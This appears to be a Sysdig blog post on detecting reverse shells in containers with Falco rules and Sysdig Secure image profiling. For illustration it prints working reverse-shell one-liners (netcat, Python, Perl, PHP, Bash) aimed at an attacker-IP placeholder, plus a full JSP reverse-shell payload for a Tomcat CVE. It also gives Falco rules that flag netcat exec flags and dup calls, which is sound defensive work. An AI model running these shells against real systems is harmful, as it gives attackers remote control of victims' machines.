Blog Icon

Blog Post

Detect reverse shell with Falco and Sysdig Secure

Reverse shell is a way that attackers gain access to a victim’s system. In this article, you’ll learn how this attack works and how you can detect it using Falco, a CNCF project, as well as Sysdig Secure.

Sometimes, an application vulnerability can be exploited in a way that allows an attacker to establish a reverse shell connection, which grants them interactive access to the system. Once the attacker gains this access to the system, they may conduct reconnaissance, lateral movement and try to escalate privileges. From there, they can steal sensitive data from the system or database, and install crypto miners.

The behavior conducted by the attacker from a reverse shell usually stands out from the normal application’s behavior. This difference is even more obvious in a microservice environment, given containers tend to be single, lightweight processes with rather rutinary conduct.

Falco detects this kind of abnormal behaviors in applications, containers and hosts. Sysdig Secure is the enterprise offering that not only detects abnormal behavior, but also takes response actions.

Now, let’s take a closer look at how this attack works.

How reverse shell works

In a normal scenario, when using a remote system access tool like ssh, it’s the user (the client) who initiates a connection request to a target machine. There, the server (a ssh daemon) is listening for the incoming request. Once received, it performs authentication and, if successful, an interactive connection is established.

This is called the bind shell, and it is easy to block from attacks. Common firewall setups will block incoming traffic to port 22 and only allow ports 80 for HTTP, and 443 for HTTPS.

Reverse shell tries to circumvent these protections by reversing the roles. It is the target machine that initiates the connection request to the user end.

How reverse sell compares to bind shell. In bind shell is the attacker initiating the communication. In reverse shell is the attacked machine the one opening the communication to the attacker.

As firewalls usually have less restricted rules for outgoing traffic, instead of setting an interactive shell connection in the victim machine, an attacker could send a connection request to a shell listener on an attack machine with a public IP. A common tool to set up such a shell listener is netcat.

How to detect a reverse shell

Observing a reverse shell running is a strong indicator that part of your system has been compromised. The earlier you detect such malicious behavior, the less damage can be caused.

In this section, we’ll go over some typical reverse shell code snippets and explain how it works. Then, we’ll demonstrate how Falco can help detect reverse shell activities.

Keep in mind that there are more advanced reverse shells which are more difficult to detect. We will also demonstrate how Sysdig Secure can help detect such advanced attack scenarios.

Netcat as reverse shell

Netcat can be used to both set up a shell listener and initiate reverse shell connections from the victim machine. Here’s a quick example to setup a shell listener:

nc -l -p 1234

The command above would launch a nc server listening on port 1234. This would be done on the attacker’s side. Note that the shell server is binded to a public IP address on the attacker’s side.

On the victim side, the attacker would initiate the interactive shell connection with the following command:

nc -e /bin/bash <attacker IP> 1234

The command above runs /bin/bash after connecting to the attacker’s shell listener, thus, establishing the reverse shell.

Detect with Falco

Among Falco’s out-of-the-box rules, there’s one to detect a reverse shell. It recognizes connections initiated from a container, based on the process name and command line arguments:

- rule: Netcat Remote Code Execution in Container
  desc: Netcat Program runs inside container that allows remote code execution
  condition: >
    spawned_process and container and
    ((proc.name = "nc" and (proc.args contains "-e" or proc.args contains "-c")) or
     (proc.name = "ncat" and (proc.args contains "--sh-exec" or proc.args contains "--exec" or proc.args contains "-e "
                              or proc.args contains "-c " or proc.args contains "--lua-exec"))
    )
  output: >
    Netcat runs inside container that allows remote code execution (user=%user.name
    command=%proc.cmdline container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: WARNING
  tags: [network, process, mitre_execution]

The rule above detects any process named nc and its variation ncat, as well as command arguments like -e or -c. Both -e and -c flags execute commands like sh or bash after a reverse shell connection is established.

The output of the detection would be something like:

22:59:18.067815266: Warning Netcat runs inside container that allows remote code execution (user=root command=nc -e /bin/bash 34.203.xxx.xxx 1234 container_id=abaf42c1ac36 container_name=victim image=kaizheh/ubuntu:latest)

Notice that the falco event provides detailed information about this malicious behavior, such as user, command, container_id, container_name and image. Once detected, you should take action immediately, before the attacker gains extra access to the cluster.

Now, let’s take a look at other ways to establish reverse shell connection.

Reverse shell in one line script

In most cases, netcat isn’t installed inside a container or recommended to be. However, the attacker doesn’t necessarily have to install netcat, they only need to run one line of code to establish a reverse shell connection. Let’s look at a few common examples:

A Python reverse shell

Python is commonly used in production systems. It will most likely be installed already, so it may be a good option for a reverse shell connection:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

A Perl reverse shell

Perl is another good candidate to establish reverse shell connection:

perl -e 'use Socket;$i="<attacker IP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

A PHP reverse shell

If the victim container hosts a web server and uses PHP, the language is a great option for reverse shell:

php -r '$sock=fsockopen("<attacker IP>",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

A Bash reverse shell

Finally, this is the simplest way to establish a reverse shell connection in almost all Linux systems:

/bin/bash -i >& /dev/tcp/<attacker IP>/1234 0>&1

What does a remote shell attack look like?

If you look at all of the one-liners above, you may notice they all include both a network connection and a shell execution. How can we connect the dots together and detect it with Falco?

First, we need to know what an established reverse shell would look like in a container.

If we use ps aux to look at system resources like processes, network connections and open file descriptors, it would be something like:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   812 ?        Ss   16:07   0:00 sleep 3600
root         6  0.0  0.0  18508  3512 pts/0    Ss   16:07   0:00 bash
root      6693  0.0  0.0  18508  3444 pts/1    Ss   16:47   0:00 bash
root      6712  0.0  0.0   4628   784 pts/0    S+   16:47   0:00 /bin/sh -i
root      6716  0.0  0.0  34400  2820 pts/1    R+   17:01   0:00 ps aux

The sleep command (PID 1) is the entrypoint of this example image, and does nothing but sleep. The rest of the processes shouldn’t appear on a regular container.

PID 6693 and PID 6716 are running on the same TTY, pts/1, which is the current terminal, running ps aux.

PID 6 is running another shell with PID 6712, running /bin/sh -i. This is the reverse shell.

Though a reverse shell is a shell, it doesn’t mean every shell is a reverse shell. Sometimes, DevOps need to exec into a pod or container to perform debugging or admin tasks. So relying solely on a shell process launched isn’t sufficient.

Let’s also observe what the network connections look like:

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 172.17.0.2:34724        34.203.xxx.xxx:1234     ESTABLISHED

There is one tcp connection to 34.203.xxx.xxx:1234. Remember that this container does nothing but sleep, so any external network connection is suspicious.

Here, the example is clear, but in containers that perform network requests, it would be hard to differentiate which one is for the reverse shell. It would be especially difficult if the external IP address wasn’t blacklisted. This is also the challenge that firewalls face to block reverse shell connection.

Let’s now look at the open file descriptors using lsof -i:

COMMAND PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
sh       20 root    0u  IPv4  80319      0t0  TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)
sh       20 root    1u  IPv4  80319      0t0  TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)
sh       20 root    2u  IPv4  80319      0t0  TCP 2ff2322dc5b4:34724->ec2-34-203-xxx-xxx.compute-1.amazonaws.com:1234 (ESTABLISHED)

The lsof -i command lists the open file descriptors based on their IP addresses.

This output looks interesting. The file descriptors 0, 1 and 2 stand for STDIN, STDOUT and STDERR. What does this mean? In a terminal, STDIN means input from your keyboard while STDOUT means the output to the screen. Both of them are redirected to a remote connection. This is an indicator of reverse shell, as somebody remote is interacting with a STDIN and STDOUT of the system.

Detecting a reverse shell with Falco

Let’s create a Falco rule using what we’ve seen so far to detect these reverse shells.

Usually, when a program starts a network connection, the system will open a socket for the network connection. A socket is nothing but a file descriptor with a number assigned by the system. Each open file descriptor in the system has a number assigned and never conflicts with each other. By default, STDIN is assigned with 0, STDOUT with 1 and STDERR with 2.

We’ve seen in the examples above that a reverse shell redirects STDIN and STDOUT to an open socket with a network connection. In the Unix system, this redirection is done via the dup system call.

So, we could use dup to detect a reverse shell, and the Falco rule would look like this:

- rule: Reverse shell
  desc: Detect reverse shell established remote connection
  condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
  output: >
    Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
  priority: WARNING
  tags: [container, shell, mitre_execution]
  append: false

In the condition section, you can see this Falco rule is detecting any dup system call that duplicates file descriptors in any STDIN, STDOUT and STDERR with a network type file descriptor.

  condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")

When a reverse shell is established, the output will look like:

02:03:52.618055919: Warning Reverse shell connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=0 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
02:03:52.618067837: Warning Reverse shell connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=1 fd.type=ipv4 fd.sip=34.203.xxx.xxx)
02:03:52.618076419: Warning Reverse shell connection (user=root victim (id=2ff2322dc5b4) process=perl parent=bash cmdline=perl -e use Socket;$i="34.203.xxx.xxx";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; terminal=34816 container_id=2ff2322dc5b4 image=kaizheh/ubuntu fd.name=172.17.0.2:34726->34.203.xxx.xxx:1234 fd.num=2 fd.type=ipv4 fd.sip=34.203.xxx.xxx)

The reason you see three reverse shell warning messages here is that the little perl script ran dup system calls on STDIN, STDOUT and STDERR respectively.

Advanced payload

Application’s vulnerabilities may be exploited to establish a reverse shell.

For example, in a Tomcat server affected by CVE-2017-12617 with HTTP PUT enabled, an attacker can upload malicious JSP code that will be executed by the Tomcat server. In the JSP code, the attacker can build a stream connector that joins the STDIN/STDOUT stream with the socket stream (without dup) so it becomes a reverse shell.

An example JSP payload code would look like the following:

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
    this.is = is;
    this.os = os;
}
public void run()
{
    BufferedReader in = null;
    BufferedWriter out = null;
    try
    {
        in = new BufferedReader( new InputStreamReader( this.is ) );
        out = new BufferedWriter( new OutputStreamWriter( this.os ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
        {
            out.write( buffer, 0, length );
            out.flush();
        }
    } catch( Exception e ){}
    try
    {
        if( in != null )
            in.close();
        if( out != null )
            out.close();
    } catch( Exception e ){}
}
}
try
{
Socket
socket = new Socket( "<attacker IP>″, 37779 );
Process process = Runtime.getRuntime().exec( "sh" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>

From this malicious payload, we can only know that there is a shell spawned up and there is a remote connection to an IP with port 37779.

With such a form, it becomes even harder to detect. How can we infer that this is a reverse shell without looking into the code?

Let’s see how Sysdig Secure can help.

Image profiling in Sysdig Secure

Image profiling is a feature in Sysdig Secure that helps define the expected behavior of an image.

Within 24 hours of learning a container’s behavior, a learned profile will have insight into what processes, file system activity, networking behavior and system calls are considered safe in that type of container.

After the image profile is built, DevOps and security teams can use the learned profile snapshot to create a policy set. This policy set can be applied to containers automatically, providing a scalable runtime defense for large-scale environments.

Going back to our Tomcat example from before, this is what an image profile would look like:

The profile has been built for the Tomcat image in the network connections, file activities, processes and syscalls areas.

Some details about the profile:

  • Processes run inside the Tomcat containers are: bash, dirname, java, tty and uname.
  • The listening port is 8080.
  • There is no outgoing network connection.
  • The files opened in read/write mode are: index_jsp.class, index_jsp.java, index_jsp.classtmp and a few log files.
  • And there are 43 syscalls.

Now, we can build a Sysdig Secure policy for Tomcat based on this learned profile.

Detecting a reverse shell with Sysdig Secure

We have used Metasploit to launch an attack with the malicious JSP payload.

Sysdig Secure has detected it, and here are the alerts we see:

This alert shows that there were some files written in a Tomcat container. They are java .class files, including a StreamConnector class.

This alert shows that there was an external connection initiated from a Tomcat container, in particular, from the java process.

This alert shows that a shell, sh, was spawned. Note that bash was recorded in the image profile because bash was executed as the image entrypoint.

This alert shows that a ls command was executed inside the Tomcat container.

You can expect to see more alerts like this when the attacker tries to exploit the victim by running different commands.

This is because Sysdig Secure built, from the image profile, a white list of processes which are allowed to be executed in the container. Any other process will trigger a secure policy event.

All of those images, when seen isolated, may not give enough information to find the root cause. However, the Sysdig Secure UI correlates them together. You can easily see that they happened inside the same container and around the same time. This makes it a lot easier to conclude that there was a reverse shell established inside the Tomcat container.

Conclusion

When an attacker gains access to the system, there are multiple ways to establish a reverse shell. Sometimes, the behavior of the reverse shell could be hard to detect. Only with a full knowledge of your system’s (container’s) behavior will you be able to build a trustworthy whitelist of file activities, network activities and process activities. And only then will you be able to detect anomalous activities like reverse shell inside your system with assurance.

If you are interested in a free trial of Sysdig Secure, sign up here!

Share This

Stay up to date

Sign up to receive our newest.

Related Posts

GitOps Security with k8s-security-configwatch

Announcing the enhanced Sysdig Terraform Provider

Sysdig Secure 2.4 introduces runtime profiling for anomaly detection + new policy editor for enhanced security.